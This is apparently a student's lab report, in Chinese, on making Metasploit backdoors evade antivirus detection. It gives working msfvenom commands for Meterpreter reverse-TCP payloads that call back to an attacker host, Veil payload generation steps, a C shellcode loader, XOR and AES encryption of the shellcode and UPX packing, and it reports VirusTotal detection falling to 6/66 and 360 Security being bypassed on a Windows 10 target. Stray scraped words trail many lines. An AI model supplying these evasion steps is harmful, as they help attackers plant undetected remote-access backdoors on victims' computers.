目前殺毒軟件的原理主要有3種:python
1.引擎與病毒庫的交互做用,經過特徵碼提取與病毒庫中的特徵碼進行比對識別病毒。git
2.啓發式Heuristic,經過程序的一些行爲和特徵來判斷。github
3.在虛擬機技術上的啓發式,經過創建一個虛擬環境運行程序對其進行全方位的檢測。算法
瞭解更多可見「殺毒軟件工做原理 及 如今主要殺毒技術」。shell
免殺就是躲殺軟的識別,那就從殺軟的原理下手。編程
若是你手裏只有EXE,加殼:壓縮殼 加密殼windows
有shellcode(像Meterpreter),用encode進行編碼,基於payload從新編譯生成可執行文件安全
有源代碼,用其餘語言進行重寫再編譯(veil-evasion)tcp
通信方式函數
儘可能使用反彈式鏈接,即服務端(被控制端)會主動鏈接客戶端(控制端)。
使用隧道技術,隧道協議將其它協議的數據幀或包從新封裝而後經過隧道發送,把全部要傳送的數據所有封裝到合法的報文裏進行傳送以繞過防火牆。
加密通信數據
操做模式
基於內存操做,像基於特徵碼的查殺大部分是掃描硬盤上的文件,因此能夠考慮在用到後門時遠程傳輸放在內存中運行,而不是存在硬盤上。但也有部分殺毒軟件會掃描內存,通常能夠採用加入nop指令來躲過查殺。
減小對系統的修改
加入混淆做用的正常功能代碼
本人使用的殺軟是360安全衛士11版本
將metasploit直接生成的後門上傳到virusTotal上經過率是51/66。
既然殺軟能夠經過特徵碼識別咱們的後門,那咱們就想辦法先把後門通過編碼,使用時再解碼,這樣就把後門的特徵碼隱藏起來了,下面咱們利用metasploit自帶的編碼器試一試效果。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
將metasploit編碼後的後門上傳到virusTotal上經過率是50/66。基本沒有變化,由於shikata_ga_nai總會有解碼(decoder stub)部分須要加入的exe中,AV廠商只要盯住這部分就能夠了,尤爲是metasploit這麼出名的滲透軟件。
1.apt-get直接裝,不過得換源
2.在github上能夠搜到各類版本,git clone下來找到其中的setup.sh並運行安裝就能夠
其實veil的安裝網上不少教程,這裏主要是本人說明一下遇到的錯誤,安裝結束後輸入veil提示錯誤
module 'Tools.Ordnance' has no attribute 'Tool'#錯誤
在老師的指導下只要把/usr/share/veil/Tools/Evasion/evasion_common/shellcode_help.py和/usr/share/veil/Tools/Evasion/Tool.py中的import Tool as Ordnance_Import刪掉就能夠了
sudo進入veil,而後按照提示use 1,list列出全部可用的payload,選中21 powershell,use 21,
set LHOST xx.xx.xx.xx,
generate
以後會提示生成的文件名,輸入後顯示生成的文件路徑,/usr/share/veil-output/source下就能夠看到咱們生成的.bat批處理文件,咱們把它拷貝到windows下運行就能夠連上。
一樣也能夠利用py源碼生成,選取python寫的payload,kali裏面由於沒有pyinstaller和py2exe,因此先把/usr/share/veil-output/source下的.py文件拷到windows下編譯成exe便可,
pyinstaller -F -w py_https.py
若是安裝了pip,能夠直接pip install pyinstaller。
最後powershell在virustotal上的經過率是23/56,python生成的exe經過率是15/66。並且360都沒有掃到這兩個後門。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.136 LPORT=1213 -f c
生成shellcode後咱們把它拿到visial studio中加以調用就能夠運行。
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
buf就是上面生成的那堆十六進制的shellcode,上面的語句首先生成一個沒有類型的指針,而後咱們用memcpy將shellcode拷貝到改指針對應的內存下,最後以函數調用這個內存地址就成功讓咱們的shellcode運行起來了。運行後在虛擬機端能夠鏈接到win10主機,不過這樣還無法躲過查殺,會直接被360查殺。在virusTotal上的經過率也只有24/66。
猜想確定是AV廠商也都知道把metasploit生成的這些shellcode當作特徵碼,那就加密一波,先用0xff對原shellcode進行異或。經過率提升到了16/66。
以後換了aes加密發現效果並非很好,只有14/66,而後試着把上面幾行調用語句去掉也就是不調用咱們的shellcode也會被13個殺軟檢測出來。而後就很納悶究竟是哪裏出了問題讓殺軟殺出來了,不知道是有內存查殺仍是什麼其餘方法識別的。
先無論那麼多試着結合其餘方法再測試一次,用upx對上面的aes加密的shellcode程序實施加殼,
upx source.exe -o dest.exe#source源文件名,dest生成文件名
沒想到效果還能夠,只有6個能夠掃出來了,以下圖。
而後用360掃描是掃不出來的,以後打開進行運行測試,鏈接兩三次360依然沒有反應。看來是成功繞過360的防禦了。
下面是虛擬機上鍊接win10的截圖:
能夠看到咱們在msf裏面鏈接上靶機後執行ps查看運行程序,而且能夠看到360安全衛士此時是打開的。
此次實驗是能讓上次實驗變得有意義的實驗,只有免殺,後門纔有使用性,也讓我很激動,不過事實老是不盡人意,不得不說此次實驗備受打擊,從下午一直作到晚上,一直嘗試新辦法,一直被360查殺,直到最後要放棄了試了一下看上去最沒用的upx加殼居然成功繞過了360。這也給我一些經驗,作免殺要從不一樣方面入手才行,由於咱們能夠給shellcode加密,能夠加殼等等這些都是能夠嵌套的,而殺軟看上去並不擅長的一層一層剝開咱們的殼,因此用不一樣的殼來包裝shellcode也不失爲一種好辦法。
這次實驗中沒有用到veil-evasion實爲無奈,先用apt-get安裝了一遍,報錯沒有module tools,因而我就pip install tools一下,但是又報錯以下,又去github clone了一份,又報錯同樣的錯,都卡在了
module 'Tools.Ordnance' has no attribute 'Tool'#錯誤
而每次安裝都要等很久,因此沒有嘗試再安裝一次,直接用shellcode+visal studio作了。一開始我把shellcode作異或後發現有明顯的效果,因此就慣性思惟的認爲只要換個好一點的加密就能夠免殺,因而又用了aes,惋惜效果不盡人意。我試着分析其中緣由能夠沒能找到,不過我認爲首先加密以後的數據是不可能被殺軟所知道,也就是硬盤上加密後的shellcode不可能成爲被查殺的特徵值,而後加密算法我也寫過都沒有被誤判成木馬,因此應該也不是經過加密算法來識別。我懷疑過是函數調用,畢竟通常狀況下不多把其餘類型的數據拿來作函數調用的,不過我註釋掉調用那部分再編譯上傳檢測經過率基本不變,仍是14。這樣我就不知道到底個人後門是哪裏出了問題被殺出來,當時也在這糾纏了很久,後來又想試試是否是在內存中被查殺的,試着把機器碼轉匯編在裏面加nop,不過沒學過彙編是在進行不下去,改了幾個以後經過率仍是提升了一個的,不過依然被360殺了,並且根據後面加殼能夠正常運行說明360也不是內存查殺的,到底360是如何查殺我本身寫的shellcode加殼程序的但願有知道緣由的大佬可以給我一些提示,必有重謝!